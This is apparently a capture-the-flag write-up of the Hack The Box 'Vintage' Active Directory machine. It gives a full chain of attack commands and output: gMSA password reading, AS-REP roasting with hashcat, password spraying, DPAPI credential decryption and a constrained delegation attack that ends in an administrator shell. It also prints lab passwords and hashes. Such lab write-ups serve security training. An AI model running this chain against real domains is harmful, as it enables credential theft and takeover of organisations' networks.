Just some 0xW1LD stuff...
by 0xW1LD
Nmap finds the following ports open:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# nmap -Pn --min-rate 10000 -p- $TARGET
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-29 18:35 AEDT
Nmap scan report for vintage.htb (10.10.11.45)
Host is up (0.035s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
49674/tcp open unknown
49685/tcp open unknown
50014/tcp open unknown
50089/tcp open unknown
As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa
/ Rosaisbest123
I add the domain name and dc to /etc/hosts
:
1
10.10.11.45 vintage.htb dc01.vintage.htb
and add my host as a nameserver in /etc/resolv.conf
:
1
nameserver 10.10.14.25
Using these credentials I run bloodhound-python
to gather data for bloodhound:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# bhpy -u P.Rosa -p 'Rosaisbest123' -c All -d vintage.htb -ns 10.10.11.45 --dns-tcp
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: vintage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The DNS query name does not exist: FS01.vintage.htb.
INFO: Done in 00M 05S
User P.Rosa
is a nested member of Pre-windows 2000 compatible
group which means that she has read access over all the other members of that group, FS01
and gMSA
computer and account respectively in particular.
According to this article: Pre-Windows 2000 Computers
1
2
3
When a new computer account is configured as "pre-Windows 2000 computer", its password is set based on its name (i.e. lowercase computer name without the trailing $). When it isn't, the password is randomly generated.
Once an authentication occurs for a pre-Windows 2000 computer, according to TrustedSec's blogpost, its password will usually need to be changed.
Therefore we have the credentials: FS01$
:fs01
most services aren’t supported:
1
2
3
# nxc smb 10.10.11.45 -u 'FS01$' -p 'fs01'
SMB 10.10.11.45 445 10.10.11.45 [*] x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB 10.10.11.45 445 10.10.11.45 [-] 10.10.11.45\FS01$:fs01 STATUS_NOT_SUPPORTED
However we can attempt to authenticate to Kerberos
by requesting a TGT
:
1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"FS01$":"fs01"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in FS01$.ccache
ensuring that each ccache
file we gather is the new KRB5CCNAME
:
1
# export KRB4CCNAME='FS01$.ccache'
FS01$
can read GMSA01
’s GMSA password:
We can abuse this by using
1
2
3
4
5
6
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
msDS-ManagedPassword.B64ENCODED: sfyyjet8CbAO5HFzqbtcCtYlqyYohprMvCgeztWhv4z/WOQOS1zcslIn9C3K/ucxzjDGRgHJS/1a54nxI0DxzlhZElfBxQL2z0KpRCrUNdKbdHXU/kzFj/i38JFgOWrx2FMIGKrEEIohO3b2fA/U/vlPxw65M+kY2krLxl5tfD1Un1kMCByA1AI4VuR5zxXSfpnzFIxKlo1PKBJUxttMqbRM21I5/aLQnaIDCnr3WaqfU6lLwdGWxoz6XSD3UiqLaW5iDPYYR47kJpnflJgS0TBUBkvd2JiLiOb5CXF1gBgUsbVLtBo/OWW/+lrvEpBtS7QIUFsOKMIaNsKFGtTkWQ==
Gathering a TGT
using the hashes:
1
2
3
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"GMSA01$" -hashes aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in GMSA01.ccache
ensuring that each ccache
file we gather is the new KRB5CCNAME
:
1
# export KRB4CCNAME='GMSA01$.ccache'
Next we can see that GMSA01
can write to ServiceManagers
:
Using this, we can add our user
P.Rosa
to ServiceManagers
: via BloodyAD
:
1
2
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k add groupMember "SERVICEMANAGERS" "P.Rosa"
[+] P.Rosa added to SERVICEMANAGERS
Generating a certificate for P.Rosa
to make it easier to authenticate:
1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"P.Rosa":"Rosaisbest123"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in P.Rosa.ccache
ensuring that each ccache
file we gather is the new KRB5CCNAME
:
1
# export KRB4CCNAME='P.Rosa.ccache'
SERVICEMANAGERS
have GenericAll
on SVC
accounts:
Abusing this we can disable
Pre-Authentication
checks on these users which allows us to conduct ASREPRoasting
:
1
2
3
4
5
6
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac svc_sql -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_sql's userAccountControl
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac svc_ark -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ark's userAccountControl
# bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac svc_ldap -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ldap's userAccountControl
Ensuring that the svc
accounts are enabled:
1
2
3
4
5
6
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k remove uac SVC_ark -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_ark's userAccountControl
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k remove uac SVC_ldap -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_ldap's userAccountControl
And then extract TGT
which we can crack with hashcat
using the following:
1
# GetNPUsers.py -usersfile users.txt -request -format hashcat -dc-ip 'dc01.vintage.htb' 'vintage.htb/' -outputfile ASREProastables.txt
using hashcat
we can attempt to crack them:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# hashcat --hash-type 18200 --attack-mode 0 ASREProastables.txt `fzf-wordlists`
find: ‘/usr/share/wfuzz’: No such file or directory
find: ‘/usr/share/dirb’: No such file or directory
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 2541/5146 MB (1024 MB allocatable), 16MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 4 MB
Dictionary cache hit:
* Filename..: /opt/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$krb5asrep$23$SVC_SQL@VINTAGE.HTB:d308a2a3a14a0bd29f49446e97e20023$c9c5ea68460fdbee6607aafac90c7706ddd3baba8091ef7d996489b003f846b161f17412be58d1827a047ddfa296b1360359c42876b23fc96ac628231ffd33768e41875d49acfec5259d32571a9db5aa33a02ba0ed3c12d540bcd0062b2436e1163f204dbe850667fa47bd653d86c540479f7161bc0aeb8b288eb56e762fac70376cb180348102d3d080ffb5263923aa9b964006a1bc829f44eba961c97f8a8719d6404d29e648ef8363375695c77689e6d3cc21a33ec1f958b9f22be5f9380b573e8cdf69dc67cad23537760609000c24d456cbefc2953a47a0bc964df8ad4c42b6db208a96bac78266:Zer0the0ne
we have svc_sql
:Zer0the0ne
!
Checking if any account reused their password through a password spray:
1
2
3
4
5
6
7
8
9
10
11
# smartbrute brute -bU users.txt -bp "Zer0the0ne" kerberos -d "vintage.htb" --kdc-ip "vintage.htb"
[*] Starting bruteforce attack on passwords
┌─────────────┬─────────┬────────────┬──────────────────┐
│ domain │ user │ password │ details │
├─────────────┼─────────┼────────────┼──────────────────┤
│ vintage.htb │ SVC_SQL │ n/a │ disabled │
│ vintage.htb │ C.NERI │ Zer0the0ne │ (probably valid) │
│ vintage.htb │ KRBTGT │ n/a │ disabled │
│ vintage.htb │ GUEST │ n/a │ disabled │
└─────────────┴─────────┴────────────┴──────────────────┘
Seeing this we have C.NERI!
As usual grab the TGT
:
1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"C.NERI":"Zer0the0ne"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in C.NERI.ccache
and ensure the ccache
file is the new KRB5CCNAME
:
1
# export KRB5CCNAME=C.NERI.ccache
Attempting evil-winrm
through kerberos realms
:
1
2
3
4
5
6
7
# evil-winrm -i dc01.vintage.htb -r vintage.htb
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami
vintage\c.neri
In order to successfully winrm we have to write the domain details in our
/etc/krb5.conf
file.
Looking around we found DPAPI
key
and protected-data
in Appdata/Roaming/Microsoft
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ dir -h
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
$ dir -h
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
downloading the masterkey
from Protected
and the protected-data
from Credentials
and then executing dpapi
attack to get the key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
And then using the key to unlock the Credentials
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510d
f01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
We have C.Neri_adm
!
Looking at Bloodhound
we can see that C.NERI_ADM
has GENERIC WRITE
and ADD SELF
to DELEGATEDADMINS
We write
SVC_SQL
as a member of DELEGATEDADMINS
:
1
2
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -u "C.NERI_ADM" -p "Uncr4ck4bl3P4ssW0rd0312" -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
[+] SVC_SQL added to DELEGATEDADMINS
We change SVC_SQL
to a fake SPN
which we can then use for Delegation to krbtgt
1
2
# bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" -k set object "SVC_SQL" servicePrincipalName -v "CIFS/w1ld"
[+] SVC_SQL's servicePrincipalName has been updated
Grabbing tgt
as per usual:
1
2
3
4
# getTGT.py -dc-ip "dc01.vintage.htb" "vintage.htb"/"svc_sql":"Zer0the0ne"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in svc_sql.ccache
setting KRB5CCACHENAME
env var:
1
# export KRB5CCNAME=svc_sql.ccache
Finally attacking L.BIANCHI_ADM
with Constrained Delegation
attack:
1
2
3
4
5
6
7
# getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM.ccache
Set the KRB5CCNAME
env var and authenticate with wmiexec
:
1
2
3
4
5
6
7
8
9
10
11
# export KRB5CCNAME=L.BIANCHI_ADM.ccache
# wmiexec.py -k "dc01.vintage.htb"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vintage\l.bianchi_adm
C:\>
And just like that we have root!
tags: diff/hard - os/windows